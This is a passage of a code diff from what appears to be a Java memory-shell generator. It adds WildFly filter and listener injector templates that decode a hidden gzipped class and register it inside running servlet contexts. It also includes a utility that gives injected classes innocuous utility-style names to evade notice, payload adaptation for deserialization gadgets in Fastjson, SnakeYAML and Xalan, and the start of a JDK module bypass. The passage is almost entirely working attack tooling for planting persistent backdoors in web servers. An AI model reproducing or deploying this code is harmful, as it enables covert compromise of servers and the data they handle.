private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
try {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
}catch (Exception ignored){
}
return null;
}
}
@@ -0,0 +1,207 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class WildFlyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyFilterInjectorTpl();
}
public WildFlyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
try {
if (isInjected(context, getClassName())) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,197 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WildFlyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyListenerInjectorTpl();
}
public WildFlyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void injectListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String className) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(className)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,77 @@
package jmg.core.util;
import jmg.core.config.Constants;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClassNameUtil {
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
public static String getRandomName(String[]... arrays) {
List<String> classNames = new ArrayList<>();
for (String[] array : arrays) {
for (String className : array) {
classNames.add(className);
}
}
Random random = new Random();
int index = random.nextInt(classNames.size());
return classNames.get(index);
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
sb.append(c);
}
return sb.toString();
}
public static String getRandomInjectorClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomExtenderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomLoaderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getClassPrefixName(){
return ClassNameUtil.getRandomName(prefixNames);
}
public static String getRandomShellClassName(String shellType) {
if (shellType.contains(Constants.SHELL_LISTENER)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
}
if (shellType.contains(Constants.SHELL_VALVE)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve";
}
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
}
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
}
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
}
}
@@ -0,0 +1,319 @@
package jmg.core.util;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.jMGCodeApi;
import me.gv7.woodpecker.tools.common.FileUtil;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Random;
import java.util.regex.Pattern;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class CommonUtil {
// 合并两个数组
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
int length1 = array1.length;
int length2 = array2.length;
T[] result = Arrays.copyOf(array1, length1 + length2);
System.arraycopy(array2, 0, result, length1, length2);
return result;
}
public static void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
public static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(5) + 2;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static byte[] base64Decode(String var0) throws Exception {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
} catch (Exception var5) {
}
}
return var2;
}
public static String encodeBase64(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static String genRandomLengthString(int minLength) {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(6) + minLength;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getMd5(String text) throws NoSuchAlgorithmException {
MessageDigest md5 = MessageDigest.getInstance("MD5");
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
StringBuilder builder = new StringBuilder();
for (byte aByte : bytes) {
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
}
return builder.toString();
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
}
return outputStream.toByteArray();
}
public static byte[] getFileBytes(String file) throws Exception {
File f = new File(file);
int length = (int) f.length();
byte[] data = new byte[length];
(new FileInputStream(f)).read(data);
return data;
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
String file_output_path = null;
String fileSeparator = File.separator;
File file = new File(output_path);
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
output_path = file.getParent();
}
String[] parts = output_path.split(Pattern.quote(fileSeparator));
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
for (String part : parts) {
if (part.contains(".")) {
isFilePath = true;
break;
} else {
if (!output_path.endsWith(fileSeparator)) {
output_path = output_path + fileSeparator;
}
}
}
if (isFilePath) { // 如果是文件路径直接返回
File parentDir = file.getParentFile();
if (!parentDir.exists()) {
parentDir.mkdirs();
}
return file.getAbsolutePath();
}
File dir = new File(output_path);
if (!dir.exists() || !dir.isDirectory()) {
dir.mkdirs();
}
// 判断输出格式
switch (format_type) {
case Constants.FORMAT_CLASS:
file_output_path = output_path + class_simple_name + ".class";
break;
case Constants.FORMAT_JAR:
case Constants.FORMAT_JAR_AGENT:
file_output_path = output_path + class_simple_name + ".jar";
break;
case Constants.FORMAT_JSP:
file_output_path = output_path + class_simple_name + ".jsp";
break;
default:
break;
}
return file_output_path;
}
public static void transformExtenderToFile(AbstractConfig config) throws Throwable {
config.setJarClassName(config.getExtenderClassName());
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
jMGCodeApi codeApi = new jMGCodeApi(config);
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
}
public static void transformToFile(AbstractConfig config) throws Throwable {
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
jMGCodeApi codeApi = new jMGCodeApi(config);
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
}
// base64/bcel/js/biginteger
public static String transformTotext(AbstractConfig config) throws Throwable {
jMGCodeApi codeApi = new jMGCodeApi(config);
return new String(codeApi.generate());
}
public static String getThrowableStackTrace(Throwable t) {
StringWriter stringWriter = new StringWriter();
PrintWriter printWriter = new PrintWriter(stringWriter);
t.printStackTrace(printWriter);
return stringWriter.toString();
}
}
@@ -0,0 +1,67 @@
package jmg.core.util;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
/**
* 专项漏洞的处理
*/
public class CtClassUtil {
private AbstractConfig config;
private ClassPool pool;
private CtClass ctClass;
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
this.config = config;
this.pool = pool;
this.ctClass = ctClass;
}
public byte[] modifyForExploitation() throws Exception {
if (config.getGadgetType() != null) {
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
applyJDKAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
applyXALANAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
applyFastjsonGroovyASTTransformation();
}
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
applySnakeYamlScriptEngineFactory();
}
}
return ctClass.toBytecode();
}
public void applyJDKAbstractTranslet() throws Exception {
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
}
public void applyXALANAbstractTranslet() {
try {
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
public void applyFastjsonGroovyASTTransformation() throws Exception {
config.setImplementsASTTransformationType(true);
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
}
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
public void applySnakeYamlScriptEngineFactory() throws Exception {
config.setImplementsScriptEngineFactory(true);
JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory");
}
}
@@ -0,0 +1,109 @@
package jmg.core.util;
import jmg.core.config.Constants;
import jmg.core.template.*;
import java.util.HashMap;
import java.util.Map;
public class InjectorUtil {
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> classMap = new HashMap();
public InjectorUtil() {
}
public static String getInjectorName(String serverType, String shellType) {
Map<String, String> injectorMap = (Map) classMap.get(serverType);
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
}
public static String getInjectorClassName(String injectorName) throws Exception {
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
throw new Exception("Invalid injector type '" + injectorName + "'");
} else {
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
}
}
static {
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
Map<String, String> glassfishMap = new HashMap();
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
Map<String, String> jettyMap = new HashMap();
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
classMap.put(Constants.SERVER_JETTY, jettyMap);
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
Map<String, String> resinMap = new HashMap();
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
classMap.put(Constants.SERVER_RESIN, resinMap);
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName());
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
Map<String, String> undertowMap = new HashMap();
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
Map<String, String> weblogicMap = new HashMap();
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
Map<String, String> websphereMap = new HashMap();
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
Map<String, String> jbossMap = new HashMap();
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
classMap.put(Constants.SERVER_JBOSS, jbossMap);
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
Map<String, String> springMVCMap = new HashMap();
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
Map<String, String> springWebFluxMap = new HashMap();
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
}
}
@@ -0,0 +1,23 @@
package jmg.core.util;
// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
public class JDKBypassUtil {
public static String bypassJDKModuleBody() throws Exception {
return "{try {\n" +
" Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
" unsafeField.setAccessible(true);\n" +
" Object unsafe = unsafeField.get(null);\n" +
" java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
" Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
